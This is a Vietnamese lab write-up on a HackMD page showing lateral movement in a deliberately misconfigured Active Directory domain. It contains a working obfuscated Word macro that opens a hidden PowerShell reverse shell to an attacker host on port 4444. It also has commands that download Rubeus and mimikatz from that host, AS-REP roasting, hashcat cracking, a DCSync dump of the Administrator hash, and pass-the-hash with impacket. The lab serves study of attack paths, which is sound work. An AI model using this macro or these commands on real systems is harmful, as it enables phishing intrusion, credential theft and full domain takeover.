nikanikanikanikaniiiiiiiiiiiiiiiiiiiiiiiii
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.

      Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Explore these features while you wait
      Complete general settings
      Bookmark and like published notes
      Write a few more notes
      Complete general settings
      Write a few more notes
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.

    Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Explore these features while you wait
    Complete general settings
    Bookmark and like published notes
    Write a few more notes
    Complete general settings
    Write a few more notes
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # LATERAL MOVEMENT ## CẤU HÌNH ### PFSENSE ![image](https://hackmd.io/_uploads/rJFgEOpeWe.png) Cấu hình pfsense thông ra mạng ### Domain Controler (DC) Domain name: antoanmang.vn **User chính:** `Administrator`: default domain `nam`: user đã bật preauthentication disabled + quyền Replicating Directory Changes `minh`: user bình thường bị phishing **User nam:** * Do not require Kerberos preauthentication ![image](https://hackmd.io/_uploads/SkP06a17Wl.png) * Quyền: Replicating Directory Changes và Replicating Directory Changes All ![image](https://hackmd.io/_uploads/HklD7CTJmbe.png) Việc cấu hình này nhằm mô phỏng các sai sót phân quyền thường gặp trong thực tế, tạo điều kiện cho kịch bản khai thác và lateral movement. ### 2 máy client Window 10 Máy 1 * Join domain: `antoanmang` * Ip: 10.0.1.10 * Có user minh login được vào may: minh@antoanmang.vn: user bình thường, bị phishing Máy 2 * Join domain: `antoanmang` * Ip: 10.0.1.11 * Có user nam login vào mát: nam@antoanmang.vn: user bình thường, bị phishing ### MailSever * Join domain: `antoanmang.vn` * Ip: 10.0.1.20 ## DEMO ### Phishing Email Trong kịch bản thực nghiệm, giai đoạn xâm nhập ban đầu được mô phỏng bằng hình thức phishing qua email, một trong những phương thức phổ biến nhất được kẻ tấn công sử dụng trong môi trường doanh nghiệp thực tế. Email phishing đính kèm một tệp tài liệu định dạng Microsoft Word, bên trong có tích hợp macro. Khi người dùng mở tệp và cho phép macro hoạt động, mã macro sẽ được thực thi trong ngữ cảnh của người dùng hiện tại. ![image](https://hackmd.io/_uploads/BJUOq01mbx.png) * Dùng macro trong word tạo kết nối đến máy attack ip 10.0.1.5 ``` Sub test() ' test Macro Dim objshell As Object Set objshell = CreateObject("Wscript.Shell") objshell.Run "" INVOKE-ExprESSION(('Write'+'-Hos'+'t '+'ZH'+'X'+'po'+'we'+'r'+'she'+'ll '+'-W'+'i'+'nd'+'owSt'+'yle'+' H'+'idde'+'n -'+'N'+'oP'+'ro'+'fil'+'e '+'-Execu'+'tion'+'Poli'+'cy'+' Bypass -Command 6ER'+'6ERvckco'+'mm'+'and'+' = {while(vckt'+'rue)'+'{tr'+'y '+'{vckcl'+' = '+'N'+'e'+'w-Objec'+'t Syst'+'e'+'m'+'.Net.Sock'+'ets.Tc'+'p'+'Clien'+'t'+'('+'Z'+'HX10.'+'0.'+'1.'+'5'+'ZH'+'X,4'+'444);vckst '+'= vckcl.Ge'+'tStrea'+'m();vckrd'+' = N'+'ew-Ob'+'ject IO.'+'Stre'+'amRea'+'der(v'+'ckst);vck'+'wr = New-Objec'+'t '+'IO.Strea'+'mWr'+'iter(vc'+'kst'+');vckwr.'+'Au'+'toFlu'+'sh '+'= '+'vcktrue;whi'+'le(v'+'ckcl'+'.C'+'onn'+'ec'+'ted){vckcmd = vckrd.'+'R'+'eadLi'+'ne();'+'if('+'vckcmd -eq ZHXex'+'itZHX'+'){'+'break;}t'+'ry{vc'+'kre'+'s = '+'ie'+'x vck'+'cmd 2>&1 '+'QYJ Out-St'+'r'+'i'+'ng;}'+'catch{vck'+'res'+' = '+'vck'+'_'+'.'+'Excep'+'t'+'ion.Messag'+'e'+';} '+'vckwr.WriteLine(vckr'+'e'+'s);'+'vck'+'wr.Flus'+'h('+');}vckcl.'+'Close'+'('+');'+'}'+'catch'+'{'+'S'+'tart-'+'S'+'leep'+' -'+'Sec'+'on'+'d'+'s'+' '+'10;}}}'+'; Start-'+'P'+'rocess pow'+'e'+'rs'+'he'+'l'+'l -'+'Wi'+'ndo'+'wS'+'tyle Hidd'+'en -Ar'+'gument'+'Li'+'st'+' '+'ZH'+'X-'+'NoP'+'rofil'+'e'+'ZHX, ZHX-Exe'+'cutionPolic'+'y'+'Z'+'HX, ZHXBy'+'p'+'a'+'ssZH'+'X, '+'ZHX-Com'+'ma'+'n'+'d'+'ZHX,'+' vc'+'kco'+'mmand6ER6ER'+'ZH'+'X -Fore'+'g'+'roundCo'+'lo'+'r G'+'r'+'een').rEPlaCE('ZHX',[StrING][ChaR]39).rEPlaCE(([ChaR]81+[ChaR]89+[ChaR]74),'|').rEPlaCE(([ChaR]118+[ChaR]99+[ChaR]107),'$').rEPlaCE(([ChaR]54+[ChaR]69+[ChaR]82),[StrING][ChaR]34)) " Set objshell = Nothing End Sub Sub AutoOpen() Call test End Sub ``` * Ở máy attacker ta mở cổng 4444 để lắng nghe vì file đã được cấu hình macro kết nối tới máy tấn công với cổng 4444 ![image](https://hackmd.io/_uploads/r1gePLRJ7Wx.png) * Khi user minh mở file thì sẽ tạo kết nối tcp đến máy attacker ![image](https://hackmd.io/_uploads/BkC9LCJ7Wl.png) * Tao web để tải tool Rubeus.exe ![image](https://hackmd.io/_uploads/ryMxwCJQ-l.png) * Dùng lệnh này để tải tool ``` Start-BitsTransfer -Source "http://10.0.1.5:5555/GhostpackBinaries/Rubeus.exe" -Destination C:\Users\minh.ANTOANMANG\Downloads ``` ![image](https://hackmd.io/_uploads/BJBKwAJXWg.png) Sau khi lấy được shell kẻ tấn công tiếp tục thực hiện giai đoạn thu thập thông tin xác thực (Credential Access) nhằm mở rộng phạm vi truy cập trong hệ thống domain. Sau đó attacker tải công cụ Rubeus một công cụ chuyên dùng để tương tác với cơ chế xác thực Kerberos trong môi trường Active Directory. Việc sử dụng Rubeus cho phép attacker khai thác các cấu hình xác thực chưa an toàn trong domain, đặc biệt là các tài khoản người dùng được cấu hình Kerberos yếu, từ đó thu thập thông tin xác thực hợp lệ mà không cần quyền quản trị ngay từ đầu. * `./Rubeus.exe asreproast` ![image](https://hackmd.io/_uploads/HJaaPAyQbe.png) ### Thu thập Hash và Crack offline Sau khi thu được AS-REP hash của tài khoản nam, kẻ tấn công chuyển sang giai đoạn bẻ khóa ngoại tuyến (offline cracking) bằng công cụ Hashcat, như hình minh họa. Điểm quan trọng của bước này là: AS-REP hash có thể được mang ra khỏi hệ thống và xử lý trên máy tấn công mà không cần tiếp tục tương tác với Domain Controller, nhờ đó giảm khả năng bị phát hiện và không gây thêm lưu lượng bất thường trong mạng nội bộ. Hashcat sẽ thử khôi phục mật khẩu gốc từ hash bằng cách so khớp với một tập mật khẩu thử (ví dụ wordlist phổ biến), và khi tìm được chuỗi khớp, nó trả về mật khẩu dạng rõ (plaintext) tương ứng với tài khoản nam với username: nam@antoangmang.vn password: @Nam123 ![image](https://hackmd.io/_uploads/B1cP_RyX-l.png) * Lệnh `hashcat -a 0 -m 18200 -d 1 hash.txt rockyou.txt` ta lấy user nam trong domain antoanmang và mật khẩu là @Nam123 ### Recon ![image](https://hackmd.io/_uploads/Hknlp0kQ-g.png) Lệnh arp -a được sử dụng để hiển thị bảng arp (address resolution protocol) của máy đang chạy lệnh ![image](https://hackmd.io/_uploads/SJ0t6AJXWe.png) Sau khi tiến hành trinh sát và quét các địa chỉ ip trong mạng nội bộ, kết quả cho thấy máy có địa chỉ 10.0.1.20 đang mở nhiều dịch vụ mạng, trong đó đáng chú ý là cổng 3389 tương ứng với dịch vụ remote desktop protocol. việc cổng này ở trạng thái mở cho phép thiết lập kết nối đăng nhập từ xa vào máy thông qua cơ chế xác thực của windows Dùng lệnh `rdesktop 10.0.1.20` ![image](https://hackmd.io/_uploads/HJzNCAJ7Wl.png) Đăng nhập vào user nam thôi ![image](https://hackmd.io/_uploads/SkBIARyXWx.png) ![image](https://hackmd.io/_uploads/r1scR0JQZe.png) Trong bước này, sau khi attacker đã truy cập được vào máy mục tiêu thông qua rdp, attacker sử dụng lệnh start-bitstransfer để tải tệp mimikatz từ máy tấn công về máy đang điều khiển. ``` Start-BitsTransfer -Source "http://10.0.1.5:5555/mimikatz/x64/mimikatz.exe" -Destination C:\Users\nam.ANTOANMANG\Downloads ``` ![image](https://hackmd.io/_uploads/SJELkJlXWe.png) Dùng mimikatz lấy NTLM hash của administrator DC `lsadump::dcsync /domain:antoanmang.vn /user:Administrator` Lệnh được sử dụng để truy vấn và sao chép thông tin xác thực của một tài khoản trong domain active directory bằng cách mô phỏng cơ chế đồng bộ dữ liệu giữa các domain controller. thay vì tấn công trực tiếp vào domain controller hay trích xuất mật khẩu từ bộ nhớ cục bộ, lệnh này lợi dụng chức năng replication hợp lệ của active directory, vốn được thiết kế để các dc đồng bộ dữ liệu với nhau ![image](https://hackmd.io/_uploads/By_sJygQ-l.png) ### Domain takeover tool: `impacket-wmiexec.py` lệnh: ``` impacket-wmiexec antoanmang.vn/Administrator@10.0.1.30 -hashes :ac7eb65dab36760bdf7911e5187b7362 ``` Sau khi lấy được ntlm hash của admin, attacker đã có trong tay thông tin xác thực ở mức cao nhất của domain mà không cần biết mật khẩu dạng rõ. với ntlm hash này, attacker có thể sử dụng các cơ chế xác thực dựa trên hash để truy cập từ xa vào các máy trong domain dưới danh nghĩa administrator.Lệnh impacket được sử dụng trong bước này nhằm thiết lập truy cập từ xa và thực thi lệnh trên máy mục tiêu bằng thông tin xác thực đã thu thập được, cụ thể là ntlm hash của tài khoản administrator. ![image](https://hackmd.io/_uploads/Bk5NWyxXWg.png)

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password
    or
    Sign in via Facebook Sign in via X(Twitter) Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    By signing in, you agree to our terms of service.

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully